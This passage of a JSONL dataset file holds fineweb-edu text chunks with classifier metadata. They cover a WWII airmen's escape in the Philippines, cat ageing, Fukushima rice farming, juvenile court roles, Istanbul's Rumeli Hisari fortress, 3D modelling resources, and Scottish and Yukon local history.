flesh, and lieutenant rising tried to shake off the fuzziness caused by a wound to his head when the airplane slammed into the sea. on impact, the cans containing fresh water had popped open and filled with marking dye, making it useless to the men. so quickly had the helldiver sank, none of the emergency rations could be saved. they were two men with no supplies, no fresh water, and only a small raft... adrift in the south pacific. at least they were not alone. other fighters circled overhead for a time, keeping pace with the downed airmen. one dropped a lifejacket and canteen of water. another dropped a life raft. then, low on fuel, the other planes of the task force returned to their carriers. less than 3 hours after the strike force had taken off, the deck log entry on the uss essex reported, \" 6 nov 44, 0952 landed planes of strike no. 1 and sweep no. 1, less vf sb2c piloted by lt ( jg ) w. s. rising, usnr and crewman montgomery, j.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4404675119448946, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.154223"} {"text": "reported, \" 6 nov 44, 0952 landed planes of strike no. 1 and sweep no. 1, less vf sb2c piloted by lt ( jg ) w. s. rising, usnr and crewman montgomery, j. w., arm2 / c usnr. failed to return from strike no. 1 and believed to have made water landing 26 miles near sampolec point, subic bay area. \" the two airmen didn ' t feel abandoned. they knew, as did their fellow pilots, that an american submarine was in the area. before the other pilots had left to refuel, they had received radio information that the sub was 21 minutes away from their comrades, and would pick them up. as the morning wore on into the afternoon, however, rising and montgomery saw no sign of rescue. soon, rather than scanning the surface for the rescue sub, they scanned for japanese gunboats and watched the skies for enemy planes. as the day wore on, survival turned into a plan for escape and evasion. the men knew they were at the mercy of the enemy, floating alone on the surface of the sea. already they had been spotted by a japanese sea plane that had strafed their raft, pitting it with bullet holes. ( fortunately neither man was hit. ) scanning the horizon for a safe landing place, the two survivors knew that if they made their way to the nearest side of luzon, they would be putting to shore in an area heavily controlled by the enemy. they elected, instead, to row southward to the smaller fortune island. the small strip of land only half - mile long and 150 yards wide doesn ' t even show on most maps. working through the evening and into the night, they finally made the shoreline shortly before dawn. exhausted, the men hid their raft and then used the daylight hours to get some much needed sleep. in the darkness of their second night they patched the bullet holes in their raft, then began rowing to the far side of luzon island. during their second night of escape and evasion, they were suddenly startled when a flying fish landed in their raft. surprise turned to thanksgiving as they cut it up in chunks and shared its meat for nourishment. as they neared the island, they could see the lights of nasugbu, but they steered past it to avoid any signs of the enemy. eventually they found a small cove, beached their raft and made their way several hundred yards into the jungle to rest until daylight. the crowing of", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4146690342679563, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.155198"} {"text": "the lights of nasugbu, but they steered past it to avoid any signs of the enemy. eventually they found a small cove, beached their raft and made their way several hundred yards into the jungle to rest until daylight. the crowing of a rooster signaled dawn, and also the presence of a home nearby. cautiously making their way towards civilization, they found the home belonged to leon lagos, who identified himself as a member of the fil - american guerrillas. while food was prepared for the two men, lagos sent men back to the cove to insure that the american ' s life raft would not be discovered. his son, andres, spoke english and operated as interpreter for the soldiers of different tongues. he explained that the following day, the guerrillas would attempt moving the downed airmen to a hideout in the hills. in the weeks that followed, the two americans literally placed their lives in the hands of the people that inhabited the rural farms in the japanese controlled philippine islands. the poor farmers had little, and what they had was often brutally taken from them by enemy patrols. still, they were quick to share their meager supplies with the two downed airmen. the wounds in montgomery ' s legs were untreated and, in the tropical climate, quickly became infected. montgomery himself struggled against the pain and fought for survival. eventually someone found some sulfa, and the infection began to disappear. not only did the local civilians share their meager supplies to sustain the americans, they also shared their danger. theirs was the same brutal enemy that had conducted the infamous bataan death march, that had raped at will, and killed for sheer pleasure. any trace of the american ' s presence, or any hint that the civilian populace had rendered assistance to them, would be met with quick and brutal violence. likewise, the guerrillas that moved with the two men, shared danger on an almost daily basis. occasionally, they encountered enemy patrols. always, they moved with great caution... crawling through rice paddies, hiding in hills, and slipping quietly into occasional huts for sleep. one night they bedded down in a small hut along the coast, only to awake to the sound of japanese voices. not far away, neatly camouflaged with tree branches, an enemy destroyer had tied to the bank. on december 11, 1944 mrs. sarah katherine montgomery received a western union telegram at her home in shelbyville, notifying her that \" the navy department deeply regrets to inform you that your son... is missing following action while in he service of his country", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4214330787978834, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.156274"} {"text": "11, 1944 mrs. sarah katherine montgomery received a western union telegram at her home in shelbyville, notifying her that \" the navy department deeply regrets to inform you that your son... is missing following action while in he service of his country. \" meanwhile, john montgomery and bill rising had made their way to the natipuan mountain garrison where the guerrilla ' s were commanded by rotc cadets from the philippine military academy and some former philippine scouts. many of these had lived... and fought... in the jungles for three years. all were determined to do all things necessary to rid their homeland of the invading japanese. from the natipuan camp, the two airmen were moved deeper into the hills to join a guerrilla force commanded by colonel terry magtongol. there, they learned, that stories of the valiant efforts of the filipino people to rescue and nurture downed airmen and prisoners, were not at all uncommon. for the first time in weeks they saw other american faces, lieutenant ( jg ) donald dondero, usn, cpo burt c. fuller and sergeant raymond humphreys. the two latter men had escaped a japanese prison camp where they had been held since the early days of the invasion of the philippine islands. a short time later, the guerrillas began the dangerous trek south through enemy lines to the southern coast of luzon, moving the five americans towards what they hoped would be rescue. the trip took several days, dangerous days when friendly civilians hid the escaping americans in their homes and shared their meager supplies to sustain them. from luzon, the men were placed on small boats under the cover of darkness for a night voyage from balayan bay to the northern coast of mindoro. there they met up with yet another guerrilla force, this one under the leadership of commander george rowe, us navy. while waiting for rescue, john montgomery developed a high fever that lingered for four days. then, the plan for their rescue was delivered by radio to commander rowe. the men were to sit offshore in a small rowboat and fly an american flag. feeling somewhat conspicuous, for eleven days the americans followed the procedure, attracting only the attention of japanese airplanes. finally, the plan was abandoned. when at last american forces invaded mindoro, the men were picked up by pt - 222 and pt - 220 from the mtb squadron. the rescued americans spent the night with the invasion forces, enduring the japanese efforts to thwart the invasion by dropping phosphorus bombs. they spent christmas eve with the american forces on leyte beachhead", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4065162185968511, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.157241"} {"text": "pt - 222 and pt - 220 from the mtb squadron. the rescued americans spent the night with the invasion forces, enduring the japanese efforts to thwart the invasion by dropping phosphorus bombs. they spent christmas eve with the american forces on leyte beachhead, and then christmas dinner aboard the uss curratuck. as a christmas gift, montgomery received a bar of soap, writing paper, and a broken pencil from the red cross. but, of course, no christmas present could equal his new sense of freedom. from leyte rising and montgomery were flown to manus, then on to hawaii. the following day, lieutenant rising flew back to the united states. his wife, with the couple ' s young baby, drove from brooklyn to meet him on the west coast. during their brief reunion, lieutenant rising who would eventually receive the navy cross, signed up for another tour. he returned to finish the war flying \" single - seater \" aircraft. john montgomery joined many other returning americans in operation magic carpet, returning to alameda, california on an escort carrier. in january he arrived, still wearing marine greens and the oversize army boots that had been issued to him at the beachhead in southern mindoro. after returning home for a 30 day leave, he reported to the naval air training center in memphis, then refresher training at gunnery school, and finally on to a pb4y squadron in jacksonville, florida. on september 13, 1945, just eleven days after the signing of the surrender documents that ended world war ii, john montgomery finished his military service and was discharged. among his many awards was the distinguished flying cross ( for action on october 25, 1944... 12 days before he was shot down ), air medal, purple heart, and numerous campaign and service ribbons. returning to his native shelbyville, kentucky home, john montgomery went to work the for us postal service, from which he later retired. on veterans day, 1997, john montgomery was selected among 50 former members of the navy, marine corps, and coast guard, for induction into the enlisted combat aircrew roll of honor aboard the uss yorktown in patriots point, south carolina. unable to personally attend, john told a local newspaper, \" my legs don ' t work like they did. i haven ' t even been able to put my flag out. \" in his place, his son attended the impressive ceremony. he is also a member of the u. s. navy memorial on pennsylvania avenue in our nation ' s capitol where a plaque and his photo hang", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4144094182445288, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.158416"} {"text": "even been able to put my flag out. \" in his place, his son attended the impressive ceremony. he is also a member of the u. s. navy memorial on pennsylvania avenue in our nation ' s capitol where a plaque and his photo hang in honor of his service. this year john ' s grandson robert joined the united states marine corps, inspired by the example of his grandfather. in the years that followed the war, john maintained contact with his former comrades of ag - 15 and the uss essex. he has never forgotten the brave filipino civilians, or the courageous fil - american guerrillas to whom he owes his freedom, if not his life. years later he says : \" i cannot find enough words of praise to describe the manner in which the friendly fil - american guerrillas took care of me and the other american fliers who were in the same helpless condition. the philippine people made great sacrifices to feed us when they didn ' t have enough food for themselves. they sheltered us and kept us hidden from the japs at great risk to themselves and their families. our survival would have been impossible without the aid of the fil - americans. some of these wonderful people are leon lagos, andres lagos, l. a. desacola, pedro rinosa, crisogon bayani, ernesto villamarin, jose samaniego, hilario angeles, julian teserero, venancio gondenara, ramon lisboa, emelie baryon and florentine selano. there were many more, too numerous to recall their names, who aided us greatly. \" john montgomery also remembers his friend and pilot with whom he shared the dangers of combat missions in the pacific, being shot down over manila bay, six weeks of harrowing escape and evasion in the hills of the philippines, and a daring rescue. lieutenant rising was unable to counter - sign john ' s 1958 letter in support of the brave fil - american guerrillas. returning home in 1945 from his second combat tour, rising ' s wife and daughter again made the drive from brooklyn to the west coast to meet him. on their return trip to new york, lieutenant william rising and his young wife were killed in an automobile accident. only his infant daughter survived the horrible crash.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.36481716358039, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.159285"} {"text": "how old is my cat? most of the time, animal shelter workers can accurately guess a cat ' s age if she was brought to the shelter with no information. veterinarians can usually estimate a stray or adopted cat ' s age based on several physical factors. using these tips, you may be able to determine the age of a feline you have taken into your home. before you examine your cat to figure out her age, it ' s important to have a basic understanding of a cat ' s lifespan. according to catster. com, many people incorrectly assume that cats age seven years for every one human year. in fact, felines age much faster than that in their first two years of life - they reach the approximate age of 15 during their first year, then by age 2, they are approximately 24 in human years. each year after that, your cat will age about four years to every human calendar year. vca animal hospitals reports that cats usually live 12 to 14 years, but can live much longer if you take steps to prevent pet health concerns such as parasites, dental issues and obesity in cats. how you can determine age you can generally tell a cat ' s age by her teeth, muscle tone, coat and eyes. \u2022 teeth. assuming the previous owner was negligent about teeth cleaning for cats, or the cat never had an owner to brush her teeth, older cats usually have more staining than younger felines. a cat who has a set of permanent, white teeth is about a year old, according to catster. com. some yellowing would indicate an age between 1 and 2, tartar build up points to an age closer to 5, and missing teeth can be proof of a senior cat. \u2022 muscle. older cats may be bony with protruding shoulder blades and hanging skin, while younger cats have muscle definition because they tend to be more active. \u2022 coat. a younger cat typically has a soft, fine coat, but with age, a feline ' s fur can become thicker, coarser and have patches of gray or white. \u2022 eyes. a healthy, young cat will have bright, clear eyes with no tearing or discharge. cats over the age of 12 can have some cloudiness in their eyes, and their irises may appear jagged instead of smooth like a younger feline. a cat ' s physical characteristics can be affected if she has led a hard outdoor life or if she has a medical condition. your veterinarian will be able to give your cat a full exam and determine her age", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3961529410618857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.164066"} {"text": "fukushima, japan ( ap ) - last year ' s crop sits in storage, deemed unsafe to eat, but toraaki ogata is back at his rice paddies, driving his tractor trailing neat rows of seedlings. he ' s living up to his family ' s proud, six - generation history of rice farming, and praying that this time his harvest will not have too much radiation to sell. that conflict is shared by several thousand farmers in more than 7, 000 hectares ( 17, 000 acres ) of fukushima, where some of last year ' s harvest exceeded government safety standards because of radiation released when the march 2011 tsunami set off the world ' s second - worst nuclear accident. for their rice to be sold, it will have to be tested - every grain of it. \" all i can do is pray there will be no radiation, \" ogata, 58, said last week, wiping his sweat during a break in his 1. 5 - hectare paddy 60 kilometers ( 35 miles ) from the fukushima dai - ichi nuclear plant. \" it ' s not our fault at all, but the land of our ancestors has been defiled. \" rice farming is almost sacred in rural japan, and the government protects farmers with tight restrictions on imports. many farmers are too close to the nuclear disaster to return to the fields, but others have gotten the go - ahead, even with the risk their harvests may end up being too radiated to ship. hopes are high in this major agricultural northeastern prefecture ( state ) that farmers will meet the unprecedented challenge of producing safe - to - eat rice in contaminated soil. following orders from the government, they have sprinkled zeolite, a pebble - like material that traps radioactive cesium, and added fertilizer with potassium to help block radiation absorption. that work is part of the 100 billion yen ( $ 1. 3 billion ) tokyo has allocated for decontamination efforts this year. there had been no time for that last year. tens of thousands of bags of rice from that harvest were too radiated to be sold. the government bought those crops, which sit in giant mounds in storage. rice planting has been banned in the most contaminated areas, but the government allowed it at some farms in areas that produced contaminated rice last year, including ogata ' s. after the october harvest, their rice will be run through special machines that can detect the tiniest speck of radiation. ogata is filled with uncertainty. though the government recently set up a system to buy and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43200180116354764, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.170820"} {"text": "year, including ogata ' s. after the october harvest, their rice will be run through special machines that can detect the tiniest speck of radiation. ogata is filled with uncertainty. though the government recently set up a system to buy and destroy his crop from last year, he has no assurances that it will do so again if this year ' s rice can ' t be eaten. he also doesn ' t know which experts to believe. scientists often come to fukushima to discuss radiation at neighborhood meetings, but some say there will be no health effects at all, while others say tens of thousands may get sick. radiation is expected to decline year by year. but ogata and other farmers acknowledge they are in for a long haul. japan has a safety limit of radiation exposure at 1 millisievert per year, although some areas in fukushima measure higher at about 20 millisieverts. a 20 - kilometer ( 12 - mile ) no - go zone was set around the nuclear plant, displacing some 100, 000 people. right next to the no - go zone, in minami soma, 135 farms have been granted special permission to plant rice as an experiment but on the condition that all rice, regardless of radiation levels, will be destroyed. \" we couldn ' t even plant last year. we are doing everything we can as a whole town so we will be growing rice next year, \" said yukio nishi, a minami soma agricultural cooperative official. the government toughened its restrictions on radiation in rice and other food from april to 100 becquerels a kilogram ( 2 pounds ) from the emergency 500 becquerels set in march last year. the limits are lower for milk, baby food and drinking water. medical experts say risks from low - dose radiation can ' t be ruled out, but it may be impossible to prove whether a person got cancer from radiation or something else. exposure is cumulative and differs among individuals, depending on size and age, diet and habits. certain foods, such as mushrooms and bamboo shoots, tend to be high in radition. and children are more susceptible to radiation - related sicknesses. \" the balance that the government is now trying to strike is between allowing people to stay in the fukushima area and recover their lives, and keeping the rest of japan happy about buying food, \" said edward lazo, who advises fukushima as a radiation expert at the organization for economic cooperation and development ' s nuclear energy agency. \" and that '", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4701825529566968, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.171729"} {"text": "people who have a case in the juvenile division come in contact with many people. those people include : social worker \u2013 the dcf family services caseworker works with children and families to work out the problems that brought them to court. they also gather information to assist the court in making decisions about a case. in delinquency cases, they may supervise juvenile probation. police officers \u2013 work with the social worker and state ' s attorney to investigate complaints. court security officers \u2013 make certain the courthouse is safe and that people treat each other respectfully. court staff & court officers \u2013 answer questions, notify you of the judge \u2019 s decisions, and help run the court. lawyer \u2013 parents and children in these cases have a right to have a lawyer. if you can ' t afford a lawyer, the court will consider appointing one. speak to the court staff. guardian ad litem \u2013 a parent or a court appointed volunteer who looks out for the youth ' s best interest. in a delinquency proceeding, the child ' s parent often serves as the child ' s guardian ad litem. state ' s attorney ( prosecutor ) \u2013 the prosecuting attorney who presents and proves the petition ( allegations ) to the court. judge \u2013 makes the decisions based on the facts and the law. ( there are no jury trials in the juvenile division. ) diversion staff \u2013 youth charged with a delinquent act may be referred to the diversion program which is an alternative to court. the guardian ad litem, lawyers, or social worker may need to gather information from schools, clergy, counselors, etc. they must keep all information confidential.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4336151557240232, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.175547"} {"text": "bosphorus strait. the castle was built in 1452 by mehmet the conqueror in preparation for his invasion of constantinople. at that point in time, the ottoman empire had transplanted the byzantine empire from all of its former lands, with the exception of its capital city. the fort was used to control the bosphorus and to cut off supplies to constantinople. the castle is located about 15 minutes north of the city, next to fatih sultan mehmet bridge. built by mehmet the conqueror to aid his campaign against the byzantine emperor, rumeli hisari still stands 450 plus years late on the western shore of the bosphorus near the fatih sultan mehmet bridge ( or the second bridge as istanbulis call it ). the fort was built in a miraculous 4 months in 1452. it was strategically placed opposite the ruins of a fort on the eastern shore, anadolu hisari. by doing so, mehmet could control bosphorus traffic and prevent aid from reaching constantinople. the strategy worked and mehmet was soon able to conquer the city and the byzantine empire. these days the fort is perodically used for outdoor concerts in its amphitheater and is a nice place to stroll through ( after paying an entance fee ) and get great views of the bosphorus and the asian side by hiking along the ramparts and walls. be careful, however, as there aren ' t many guard rails that would prevent one from falling quite a few / several feet. take a bus from besiktas and the bus will pass right by the fortress on yahya kemal caddesi. duatepe park is the last stop on the rumeli hisar ustu bus route, and boasts stunning views over the bosphorus and the 2nd europe - asia bridge. however, stunning views can be had in many places in istanbul, so it is not really worth making a special trip out here... unless you do so on a saturday. saturday is market day in rumeli hisar ustu, the area i used to live in. a steep cobbled street running from the park down to the castle below is transformed into a lively sprawl of fruit and vegetable stalls. old women stop to gossip, blocking the street with their shopping trolleys overflowing with aubergines, apricots and mounds of fresh sheep ' s cheese. students from nearby bogazici university stock up on olives, tomatoes and vine leaves, while tea", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3980629400195413, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.185679"} {"text": "gossip, blocking the street with their shopping trolleys overflowing with aubergines, apricots and mounds of fresh sheep ' s cheese. students from nearby bogazici university stock up on olives, tomatoes and vine leaves, while tea boys weave in and out of shoppers carrying trays of steaming glasses of tea for the traders. every so often, a loudspeaker announces the deals of the day ; a kilo of cherries for 2ytl, a box of multicoloured easter chicks looking for a new home, a watermelon man trying to shift the last of his melons before nightfall. tourists never come here, and why would they? a local market for local people, one of hundreds in istanbul... except that this one can be incorporated into a pleasant day trip, starting with the views from the park, then once you ' re done haggling over peaches in the pazar, keep going downhill, past a few ottoman mansions and sleeping dogs, until you reach the back of rumeli hisar, the fortress of europe. either navigate your way through the village on the left, or cut through the cemetery on the right... either way you ' ll soon reach the seafront, where you can enter the castle, eat in one of the fish restaurants and walk off your meal along the promenade towards upmarket bebek and arnavutkoy. frequent buses head to rumeli hisar ustu from taksim square, and buses running along the coast road will take you back to taksim or eminonu. the market starts early morning, and begins to pack up shortly before sunset. you can see rumeli hisari on your left side while you on the bosphorus boat trip. this is a big fortress that was built in 1452 by a sultan called mehmet the 2nd ( muhamed the second ). a sunny sunday afternoon i visited rumeli hisari. it is a fortress by bosphorus, just by fatih sultan mehmet bridge. the fortress was built in 1452 as a preparation for the invation of constantinopel. there are stairs so you can climb up along the walls and admire the view over bosphorus and the boats. but be careful, there are no fences. entrance fee is 4 000 000 tl ( for tourists ). the shore along bosporus are popular to visit on sundays and people, cars and motorbikes are cruseing back and forth", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3911177337473677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.186675"} {"text": ". but be careful, there are no fences. entrance fee is 4 000 000 tl ( for tourists ). the shore along bosporus are popular to visit on sundays and people, cars and motorbikes are cruseing back and forth. just below rumeli hisari there are several cafes. to go here you can take a bus from eminonu, taksim or besiktas. the bosphorus ferry stops in belek and from there you can walk. the rumeli fortress is the most imposing sight on the bosphorus straights, dating back to the 15th century and bu\u00fet by sultan mehmet ii prior to the conquest of istanbul. his aim was to block any possible sea support which might have come from the black sea to assist the flailing byzantines. it finished after 4 months and 19 days. now it serves as a museum, displaying the canons that were used during the conquest. there is also an outdoor mini - amphi - theater used during the various music festivals in istanbul. the walls and ramparts are still in excellent condition. fortress of europe, rumeli hisari. this features in guide books, but because it doesn ' t have a ferry terminal, frequently missed out on the bospherous cruises. fantastic location at the narrowest point of the bospherous, this deeply impressive fortress was built in just 4 months. hardly used for its original intention, much remains as it was, with the exception of the obvious restoration and landscaping of the interior gardens ( controlled wilderness - welcome shady resting areas from the heat and the quite difficult clambering about on the castle walls ). three or four very nice restaurants / cafes along the shores of the bospherous make this quite a sedate ' day out ' away from the excesses of the more obvious tourist jaunts. not the easiest place to get to - in the end, a taxi was simplest ( $ 10 ) and a long ( one hour to otokoy market ) but enjoyable walk back all along the shoreline. four seasons istanbul istanbul 6 reviews and 476 opinions this is the 2nd time i come to istanbul.... the last time i came i came with my buddies, so we stayed... dersaadet hotel istanbul 5 reviews and 726 opinions dersaadet oteli is a small inn located in the shadow of the blue mosque in sultanahmet. the inn is a... esans hotel istanbul 7 reviews and 271 opinions a", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39651402886851433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.187577"} {"text": "skeletal modelling system a skeletal modelling system is a mesh that sits inside the main model mesh. it consists of invisible elements only? straight line? bones? connected by vertexes at either end. where any vertex joins two or more bone lines, that vertex is assigned a scope of movement, dictating how it can bend the lines? through which degrees and to what limits. typically, only one skeletal mesh is required for any number of models with similar constraints. below, we offer a selection of links from our resource databases which may match this term. related dictionary entries for skeletal modelling system : resources in our database matching the term skeletal modelling system : a new modelling system, videotrace ; the result of a collaboration between the australian centre for visual technologies at the university of adelaide, and the oxford brookes computer vision group, is capable of taking the output of any handheld digital camcorder, and turn it into a 3d model. one of the most important aspects when working with any skeletal system, is the joint where bones connect. if you don ' t get this area right, then bone will grind against prosthesis, and the bone is likely to take critical damage first. you inflame a joint, that did not have a problem in the first place, and spread further complications throughout the body. not a platform or modelling software specific book, modelling digital dinosaurs is ken? s first book, and it takes you through the basics of creating 3d representations of something which has fascinated and captivated for centuries? dinosaurs. the book does this in a patient, kind, step by step manner, demonstrating techniques which really aid the beginning to intermediate modeller. contains a free copy of amapi version 1. 5 on the cd in case the reader does not have a 3d modeller. we are so caught up in our desire for ever greater realism and ever greater accuracy when using vr and modelling tools to render the human body for diagnosis in whole or in part, that we often forget the benefits of simplicity. hemovis, a medical vr tool for assessing weak points in the coronary system, achieves far better results with a 2d system than 3d with all the bells and whistles used more commonly in diagnosis. recreating utterly realistic, and believable humanoid avatars has been a goal of graphic design and modelling since time immemorial. we take a look at the limit of the real - time capabilities of the nvidia 8800, as to progression made, to date. the proceedings of the second modelling and simulation conference", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5390826277663482, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.191144"} {"text": "of graphic design and modelling since time immemorial. we take a look at the limit of the real - time capabilities of the nvidia 8800, as to progression made, to date. the proceedings of the second modelling and simulation conference iasted ( international association of science and technology for development ) ran, back in 2002. this inch and a half thick paperback tome contains a 115 full papers from experts around the world. the proceedings of the first modelling and simulation conference iasted ( international association of science and technology for development ) ran, back in 2002. this inch thick paperback tome contains a myriad of papers from experts around the world. industry news containing the term skeletal modelling system : results by page neural - like stem cells from muscle tissue may hold key to cell therapies for neurodegenerative diseases scientists at wake forest baptist medical center have taken the first steps to create neural - like stem cells from muscle tissue in animals. details of the work are published in two complementary studies published in the september online iss... what will happen when the world ' s most popular art museums become just too overcrowded for a viewer to get a decent look at an artwork, let alone enjoy the luxury of slow, uninterrupted contemplation? with the rapidly improv... july 6? 8, 2009 banff, alberta, canada the 20th iasted international conference on modelling and simulation ( ms 2009 ) will be a major forum for international researchers and practitioners interested in all areas of mo... industrial design modelling, used to make prototypes of home appliances or mock - ups of car parts, could soon make the leap from the world of plaster, plastic and sticky tape into the digital domain thanks to an augmented reality design syst... modelling the fabrication processes for integrated circuits can slash production development time and costs by up to 40 %. but as transistors, already at nano - scales, become ever smaller, researchers are modelling new worlds.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5174892686640169, "token_count": 401, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.191965"} {"text": "site shop > an invitation to 3 - d vision note : this is not an ideal beginner? s book on machine vision, and it was designed to be read by someone who is already grounded in the basics, as it takes things just that little bit further, into the advanced realm. basics are covered, briefly. this book gives senior undergraduate and beginning graduate students and researchers in computer vision, applied mathematics, computer graphics, and robotics a self - contained introduction to the geometry of 3d vision ; that is the reconstruction of 3d models of objects from a collection of 2d images. part i provides background materials for the rest of the book. the two fundamental transformations, namely rigid body motion and perspective projection are introduced and image formation and feature extraction discussed. part ii covers the classic theory of two view geometry based on the so - called epipolar constraint. part iii shows that a more proper tool for studying the geometry of multiple views is the so - called rank considtion on the multiple view matrix. part iv develops practical reconstruction algorithms step by step as well as discusses possible extensions of the theory. exercises are provided at the end of each chapter. as is becoming the norm, example software is on a website, rather than included with the book. 1 - introduction 2 - representation of a 3d moving scene 3 - image formation 4 - image primitives and correspondence 5 - reconstruction from two calibrated views 6 - reconstruction from two uncalibrated views 7 - segmentation of multiple moving objects from two views 8 - multiple view geometry of points and lines 9 - extension to general incidence relations 10 - geometry and reconstruction from symmetry 11 - step by step building of a 3d model from images 12 - visual feedback reviews by our members. become a member today, and submit a review!", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5596615933976874, "token_count": 356, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.193757"} {"text": "in 1882 - 4, frances groome ' s ordnance gazetteer of scotland described airds moss like this : airdsmoss or airsmoss, a morass in the e of ayrshire, between the water of ayr and lugar water. it begins about 1\u00bd mile ene of auchinleck village, extends about 6 miles north - eastward, has a mean breadth of about 1\u00bd mile, and is approached over most of its se side, and crossed over a small part of its further end, by the railway from auchinleck to muirkirk. it was the scene, on 20 july 1680, of a sharp skirmish between 63 of the covenanters and a party of dragoons, fatal to richard cameron : and it contains, at a spot where the deadliest of the strife occurred, a monument popularly called cameron ' s stone.... the present monument is neat and modern : but the original one was a large flat stone, laid down about 50 years after the event, and marked with the names of the covenanters who fell in the skirmish, and with the figures of an open bible and a hand grasping a sword. the skirmish of airdsmoss is the subject of the well - known effusion, beginning - in a dream of the night i was wafted away, to the moorland of mist where the martyrs lay ; where cameron ' s sword and his bible are seen, engraved on the stone where the heather grows green. ' a vision of britain through time includes a large library of local statistics for administrative units. for the best overall sense of how the area containing airds moss has changed, please see our redistricted information for the modern district of east ayrshire. more detailed statistical data are available under units and statistics, which includes both administrative units covering airds moss and units named after it. gb historical gis / university of portsmouth, history of airds moss in east ayrshire | map and description, a vision of britain through time. date accessed : 23rd may 2013 click here for more detailed advice on finding places within a vision of britain through time, and maybe some references to other places called \" airds moss \".", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43473031434877835, "token_count": 446, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.197030"} {"text": "the town of watson lake owes its existence to two major factors : the construction of a military airport in 1941 and the construction of the alaska highway in 1942. in 1939 the government of canada committed to building a chain of airfields across the northwest under the northwest staging route program. the airfield at watson lake was a link in this chain. the site for the airport was surveyed, funds were made available towards the end of 1940 and construction began in 1941. when the united states entered the second world war, there was a threat of a japanese invasion of alaska. the necessity of a military overland supply rout linking the state of alaska to the lower 48 states became an immediate wartime measure. during the course of planning, it was decided that the highway would be modified in order to service the airfield sites selected under the northwest staging route program. the road alignment was purposely engineered to meander and avoid long, straight stretches which would jeopardize large supply convoys from strafing air attacks. in recent years, highway improvements have all but eliminated these winding sections of road, and now the alaska highway is maintained to a very high standard. the road surface is mainly pavement or bitminous treated surface. gravel surfaces now occur only in construction zones. the original highway from dawson creek, b. c. to fairbanks, ak was little more than a pioneer trail wandering through 2, 450 kilometers ( 1, 522 miles ) of mountains, muskeg and permafrost. the new highway was built in a short 8 months and 12 days by the united states army corps engineers. the robert campbell highway was started during the post world war 11 era as the service road to mining developments in the east - central yukon and completed in 1968. the original watson lake town site was at the airport but moved to the \u201c wye \u201d as it was now the regional link between the alaska and robert campbell highways. the community of watson lake began as an accommodations and supply center for the construction of the highway. in that same year, a roadway was built between watson lake and lower post, the northern most community in b. c. today, the town of watson lake is the key transportation, communication and distribution center for mining and logging activities in the southern yukon, northern b. c. and a portion of the n. w. t. it also serves as a major service area for tourism and is the site of the regional territorial government administration services.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42692443886070536, "token_count": 487, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.200192"} {"text": "few paintings have been more viewed, more analyzed, studied and interpreted, than leonardo da vinci ' s \" mona lisa, \" 